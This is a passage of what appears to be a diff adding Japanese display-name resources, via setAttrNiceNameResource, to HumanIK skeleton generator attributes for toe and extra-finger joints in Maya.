+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Sy", "右手追加指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Sz", "右手追加指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1T", "左足親指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Tx", "左足親指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Ty", "左足親指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Tz", "左足親指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1R", "左足親指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Rx", "左足親指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Ry", "左足親指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Rz", "左足親指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1S", "左足親指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Sx", "左足親指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Sy", "左足親指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Sz", "左足親指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2T", "左足親指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Tx", "左足親指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Ty", "左足親指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Tz", "左足親指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2R", "左足親指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Rx", "左足親指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Ry", "左足親指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Rz", "左足親指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2S", "左足親指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Sx", "左足親指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Sy", "左足親指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Sz", "左足親指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3T", "左足親指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Tx", "左足親指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Ty", "左足親指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Tz", "左足親指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3R", "左足親指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Rx", "左足親指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Ry", "左足親指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Rz", "左足親指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3S", "左足親指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Sx", "左足親指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Sy", "左足親指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Sz", "左足親指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4T", "左足親指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Tx", "左足親指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Ty", "左足親指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Tz", "左足親指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4R", "左足親指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Rx", "左足親指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Ry", "左足親指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Rz", "左足親指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4S", "左足親指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Sx", "左足親指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Sy", "左足親指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Sz", "左足親指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1T", "左足人差指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Tx", "左足人差指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Ty", "左足人差指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Tz", "左足人差指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1R", "左足人差指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Rx", "左足人差指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Ry", "左足人差指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Rz", "左足人差指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1S", "左足人差指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Sx", "左足人差指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Sy", "左足人差指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Sz", "左足人差指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2T", "左足人差指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Tx", "左足人差指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Ty", "左足人差指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Tz", "左足人差指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2R", "左足人差指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Rx", "左足人差指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Ry", "左足人差指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Rz", "左足人差指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2S", "左足人差指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Sx", "左足人差指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Sy", "左足人差指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Sz", "左足人差指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3T", "左足人差指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Tx", "左足人差指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Ty", "左足人差指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Tz", "左足人差指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3R", "左足人差指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Rx", "左足人差指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Ry", "左足人差指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Rz", "左足人差指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3S", "左足人差指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Sx", "左足人差指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Sy", "左足人差指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Sz", "左足人差指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4T", "左足人差指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Tx", "左足人差指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Ty", "左足人差指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Tz", "左足人差指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4R", "左足人差指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Rx", "左足人差指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Ry", "左足人差指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Rz", "左足人差指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4S", "左足人差指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Sx", "左足人差指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Sy", "左足人差指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Sz", "左足人差指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1T", "左足中指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Tx", "左足中指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Ty", "左足中指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Tz", "左足中指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1R", "左足中指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Rx", "左足中指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Ry", "左足中指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Rz", "左足中指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1S", "左足中指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Sx", "左足中指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Sy", "左足中指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1Sz", "左足中指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2T", "左足中指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Tx", "左足中指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Ty", "左足中指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Tz", "左足中指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2R", "左足中指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Rx", "左足中指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Ry", "左足中指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Rz", "左足中指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2S", "左足中指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Sx", "左足中指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Sy", "左足中指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle2Sz", "左足中指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3T", "左足中指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Tx", "左足中指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Ty", "左足中指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Tz", "左足中指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3R", "左足中指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Rx", "左足中指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Ry", "左足中指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Rz", "左足中指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3S", "左足中指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Sx", "左足中指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Sy", "左足中指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle3Sz", "左足中指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4T", "左足中指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Tx", "左足中指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Ty", "左足中指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Tz", "左足中指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4R", "左足中指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Rx", "左足中指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Ry", "左足中指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Rz", "左足中指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4S", "左足中指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Sx", "左足中指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Sy", "左足中指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle4Sz", "左足中指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1T", "左足薬指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Tx", "左足薬指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Ty", "左足薬指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Tz", "左足薬指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1R", "左足薬指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Rx", "左足薬指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Ry", "左足薬指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Rz", "左足薬指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1S", "左足薬指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Sx", "左足薬指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Sy", "左足薬指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing1Sz", "左足薬指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2T", "左足薬指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Tx", "左足薬指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Ty", "左足薬指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Tz", "左足薬指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2R", "左足薬指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Rx", "左足薬指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Ry", "左足薬指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Rz", "左足薬指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2S", "左足薬指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Sx", "左足薬指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Sy", "左足薬指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing2Sz", "左足薬指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3T", "左足薬指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Tx", "左足薬指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Ty", "左足薬指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Tz", "左足薬指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3R", "左足薬指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Rx", "左足薬指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Ry", "左足薬指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Rz", "左足薬指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3S", "左足薬指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Sx", "左足薬指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Sy", "左足薬指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing3Sz", "左足薬指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4T", "左足薬指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Tx", "左足薬指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Ty", "左足薬指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Tz", "左足薬指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4R", "左足薬指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Rx", "左足薬指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Ry", "左足薬指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Rz", "左足薬指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4S", "左足薬指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Sx", "左足薬指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Sy", "左足薬指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRing4Sz", "左足薬指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1T", "左足小指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Tx", "左足小指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Ty", "左足小指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Tz", "左足小指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1R", "左足小指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Rx", "左足小指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Ry", "左足小指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Rz", "左足小指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1S", "左足小指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Sx", "左足小指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Sy", "左足小指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky1Sz", "左足小指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2T", "左足小指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Tx", "左足小指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Ty", "左足小指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Tz", "左足小指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2R", "左足小指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Rx", "左足小指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Ry", "左足小指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Rz", "左足小指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2S", "左足小指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Sx", "左足小指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Sy", "左足小指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky2Sz", "左足小指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3T", "左足小指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Tx", "左足小指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Ty", "左足小指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Tz", "左足小指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3R", "左足小指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Rx", "左足小指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Ry", "左足小指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Rz", "左足小指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3S", "左足小指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Sx", "左足小指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Sy", "左足小指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky3Sz", "左足小指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4T", "左足小指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Tx", "左足小指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Ty", "左足小指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Tz", "左足小指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4R", "左足小指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Rx", "左足小指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Ry", "左足小指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Rz", "左足小指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4S", "左足小指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Sx", "左足小指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Sy", "左足小指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootPinky4Sz", "左足小指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1T", "左足追加指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Tx", "左足追加指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Ty", "左足追加指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Tz", "左足追加指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1R", "左足追加指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Rx", "左足追加指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Ry", "左足追加指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Rz", "左足追加指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1S", "左足追加指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Sx", "左足追加指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Sy", "左足追加指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger1Sz", "左足追加指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2T", "左足追加指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Tx", "左足追加指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Ty", "左足追加指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Tz", "左足追加指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2R", "左足追加指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Rx", "左足追加指 2 Rx" ); 